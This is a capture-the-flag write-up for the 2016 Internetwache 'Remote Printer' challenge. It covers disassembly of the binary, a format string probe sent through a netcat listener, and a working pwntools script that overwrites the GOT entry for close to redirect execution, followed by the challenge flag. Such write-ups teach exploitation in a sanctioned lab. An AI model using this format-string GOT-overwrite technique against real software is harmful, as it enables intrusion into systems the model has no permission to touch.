Remote Printer
[Internetwache CTF, 2016]
- Category: Exploit
- Points: 80
- Description:
Printer are very very important for offices. Especially for remote printing. My boss told me to build a tool for that task.
Write-up
So this remote printer takes an address and a port and connects to the remote service. It then reads some data and outputs it. Well let's just point it to itself:
$ nc 188.166.133.53 12377
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:12377
Thank you, I'm trying to print 127.0.0.1:12377 now!
This is a remote printer!
The last line is the input from itself. So we probably need a listener reachable via the internet.
The binary itself is rather small, it just consists of the main
function and
0x08048786
. The main function uses scanf to read the ip address and port and
calls the second function which connects to the given ip address and port.
Then receives up to 0x2000
bytes of data and then prints it. Let's take a
look at the later one:
0x08048815 6a00 push 0
0x08048817 6800200000 push 0x2000
0x0804881c 8d85e4dfffff lea eax, [ebp-local_2055]
0x08048822 50 push eax
0x08048823 ff75f4 push dword [ebp - 0xc]
0x08048826 e885fdffff call sym.imp.recv ; recv 0x2000 to stack
[...]
0x08048844 83ec0c sub esp, 0xc
0x08048847 8d85e4dfffff lea eax, [ebp-local_2055]
0x0804884d 50 push eax
0x0804884e e88dfcffff call sym.imp.printf ; input
0x08048853 83c410 add esp, 0x10
0x08048856 83ec0c sub esp, 0xc
0x08048859 ff75f4 push dword [ebp - 0xc]
0x0804885c e85ffdffff call sym.imp.close
0x08048861 83c410 add esp, 0x10
0x08048864 90 nop
We can see that the buffer, which is located on the stack, is printed using
printf
... oh. Classic format string vulnerability. Should be easy.
$ python2 -c 'print "ABCD" + ".%p"*100' | nc -vv -l -p 4444
$ nc 188.166.133.53 12377
This is a remote printer!
Enter IPv4 address:X.X.X.X
Enter port:4444
Thank you, I'm trying to print X.X.X.X:4444 now!
ABCD.0xffffbcec.0x2000.(nil).(nil).(nil).(nil).0x44434241.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0xa.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil)
So it's definitely a format string vulnerability and we can see that at offset 7 is the start of our format string. So that's where we can put the addresses we want to write to.
We can see that immediately after the call to printf
there is a call to
close
. So we do the usual: Overwrite GOT
entry of close
with something of
our liking to take over control flow. Because the organizers were nice they
left us some dead code lying around that will print us the flag at
0x08048867
. So we'll just redirect control flow there.
from pwn import * # NOQA
velf = ELF("./RemotePrinter")
gotclose = velf.got["close"]
# uses two 2-byte writes to keep printed garbage at minimum
fmtstr = p32(gotclose)
fmtstr += p32(gotclose + 2)
target = 0x08048867
x = 0x0804 - 8
y = 0x8867 - 8 - x
fmtstr += "%{}c%8$hn%{}c%7$hn".format(x, y)
log.info("trying to write to got entry @ {}".format(hex(gotclose)))
log.info("overwriting with function {}".format(hex(target)))
log.info("using format string: \n" + hexdump(fmtstr))
with open("./payload", "wb") as f:
f.write(fmtstr)
f.write("\n")
# use with
# cat payload | nc -v -l -p 4444
And we have the flag:
YAY, FLAG: IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}